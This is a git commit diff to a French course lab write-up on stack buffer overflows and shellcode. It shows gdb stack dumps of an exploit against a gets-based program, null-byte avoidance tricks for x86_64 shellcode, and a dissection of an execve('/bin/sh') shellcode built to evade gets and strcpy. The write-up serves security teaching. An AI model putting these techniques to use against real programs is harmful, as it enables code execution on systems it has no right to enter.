Reword, spell correction
This commit is contained in:
parent
70c0823fe7
commit
7a5794b87f
1 changed files with 54 additions and 16 deletions
|
@ -1,6 +1,7 @@
|
||||||
---
|
---
|
||||||
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
||||||
date: 2023-02-17
|
date: 2023-02-17
|
||||||
|
lastmod: 2023-03-30
|
||||||
tags: ["Assembleur", "x86"]
|
tags: ["Assembleur", "x86"]
|
||||||
author:
|
author:
|
||||||
- Yorick Barbanneau
|
- Yorick Barbanneau
|
||||||
|
@ -17,7 +18,7 @@ conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles
|
||||||
variables associées.
|
variables associées.
|
||||||
|
|
||||||
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
|
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
|
||||||
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
|
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`.
|
||||||
|
|
||||||
## Partie 2
|
## Partie 2
|
||||||
|
|
||||||
|
@ -25,14 +26,14 @@ i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
|
||||||
|
|
||||||
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
|
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
|
||||||
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
|
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
|
||||||
est ainsi aiser de réaliser une attaque par **dépassement de tampon**:
|
est ainsi aisé de réaliser une attaque par **dépassement de tampon**:
|
||||||
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
|
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
|
||||||
|
|
||||||
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
|
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
|
||||||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||||||
*hexadécimal*.
|
*hexadécimal*.
|
||||||
|
|
||||||
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
L'exploit est prévu pour fonctionner en assembleur x86_32 et x86_64 avec la
|
||||||
présence d'une macro afin de positionner les instructions adaptée dans la
|
présence d'une macro afin de positionner les instructions adaptée dans la
|
||||||
variable `exploit`:
|
variable `exploit`:
|
||||||
|
|
||||||
|
@ -50,10 +51,9 @@ unsigned char exploit[1024] = {
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### question 4
|
### question 4
|
||||||
|
|
||||||
Lors de l'execution de notre attaque en l'observant avec gdb, nous pouvons
|
Lors de l'exécution de notre attaque et en l'observant avec gdb, nous pouvons
|
||||||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||||||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||||||
|
|
||||||
|
@ -133,8 +133,10 @@ mettent alors en places.
|
||||||
0x7fffffffe488 0x00005555555551cc
|
0x7fffffffe488 0x00005555555551cc
|
||||||
0x7fffffffe480 0x0000000000000003
|
0x7fffffffe480 0x0000000000000003
|
||||||
```
|
```
|
||||||
|
|
||||||
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
||||||
différentes parties sont délimitées par des crochets:
|
différentes parties sont délimitées par des crochets:
|
||||||
|
|
||||||
```
|
```
|
||||||
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
||||||
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
||||||
|
@ -192,13 +194,49 @@ Déassemblage de la section .text :
|
||||||
|
|
||||||
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
||||||
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
||||||
prêt à importer dans notre code `C`.
|
prêt à importer dans notre code `C`[^opcode].
|
||||||
|
|
||||||
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
||||||
par `objdump`. Et en plus on évite les erreurs de saisie.
|
par `objdump`. Et en plus on évite les erreurs de saisie.
|
||||||
|
|
||||||
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
|
Nous avons ensuite modifié notre *shellcode* afin de banir `\0` -- il ne
|
||||||
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
|
contenait pas de `\n` -- avec les astuces suivantes:
|
||||||
|
|
||||||
|
* Utiliser la séquence `jmp`, `call`, `pop`. L'adresse du `call` est ainsi
|
||||||
|
négative et ne contient pas de 0.
|
||||||
|
* Utiliser `xor` sur un registre vers lui même afin de l'initialiser à 0
|
||||||
|
* Utiliser la pile pour affecter des valeurs à nos registres
|
||||||
|
```asm
|
||||||
|
push $0xabcd
|
||||||
|
pop %rsi
|
||||||
|
```
|
||||||
|
* Pour des valeurs contenant 0 (mais pas `f`), utiliser le complément à deux,
|
||||||
|
par exemple pour 0666:
|
||||||
|
```asm
|
||||||
|
pop %rdi
|
||||||
|
push $0xfffffffffffffe4b
|
||||||
|
xor %rsi, %rsi
|
||||||
|
pop %rsi
|
||||||
|
neg %rsi
|
||||||
|
```
|
||||||
|
* Pour les valeurs contenant des 0, utiliser des opérations arithmétiques pour
|
||||||
|
les calculer
|
||||||
|
```asm
|
||||||
|
# put 61 in %rax
|
||||||
|
push $61
|
||||||
|
pop %rax
|
||||||
|
# minus 1, we've got 60 (exit syscall number)
|
||||||
|
lea -1(%rax), %rax
|
||||||
|
```
|
||||||
|
Pour sa soustraction ou l'addition, on utilise `lea`.
|
||||||
|
* Utiliser `.ascii` à la place de `asciz`, ainsi notre chaine ne contient pas
|
||||||
|
`\0` à la fin.
|
||||||
|
|
||||||
|
Après l'incorporation de notre *shellcode* dans le fichier `exploit.c`, sa
|
||||||
|
compilation et son exécution, le fichier `/tmp/pwn` est bien créé.
|
||||||
|
|
||||||
|
[^opcode]: enfin quasiment, notre cible n'est pas parfaite et il faut supprimer
|
||||||
|
quelques éléments à la fin de la séquence
|
||||||
|
|
||||||
## Partie 4
|
## Partie 4
|
||||||
|
|
||||||
|
@ -220,24 +258,24 @@ mov $0x3b,%al
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
|
|
||||||
Notre shellcode commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
Notre *shellcode* commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
||||||
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
|
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
|
||||||
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
|
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
|
||||||
instruction.
|
instruction.
|
||||||
|
|
||||||
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
|
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
|
||||||
Cette instrution réalise un complément à deux sur le registre en paramètre.
|
Cette instruction réalise un complément à deux sur le registre en paramètre.
|
||||||
|
|
||||||
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
|
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
|
||||||
|
|
||||||
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
|
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
|
||||||
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
|
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
|
||||||
|
|
||||||
Le mnémonique `cltd` transforme étends le bit de poid fort d'`%eax` dans `%edx`.
|
Le mnémonique `cltd` étends le bit de poids fort d'`%eax` dans `%edx`. Il est
|
||||||
Il est question ici d'initialiser `%edx` à 0.
|
question ici d'initialiser `%edx` à 0.
|
||||||
|
|
||||||
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
|
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
|
||||||
Voici d'ailleur à quoi ressemble cette dernière:
|
Voici d'ailleurs à quoi ressemble cette dernière:
|
||||||
|
|
||||||
```
|
```
|
||||||
[...]
|
[...]
|
||||||
|
@ -248,7 +286,7 @@ Voici d'ailleur à quoi ressemble cette dernière:
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
|
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
|
||||||
est lance avec `syscall`. voici l'état des registres au moment de notre
|
est lance avec `syscall`. Voici l'état des registres au moment de notre
|
||||||
`syscall` :
|
`syscall` :
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -275,11 +313,11 @@ Et l'état de notre pile :
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Notre shellcode lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
Notre *shellcode* lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
||||||
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
|
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
|
||||||
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
|
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
|
||||||
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
|
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
|
||||||
`%rdx` : 0.
|
`%rdx` : 0.
|
||||||
|
|
||||||
Dasn ce shellcode, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
Dans ce *shellcode*, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
||||||
afin de passer `gets` et `strcpy`.
|
afin de passer `gets` et `strcpy`.
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue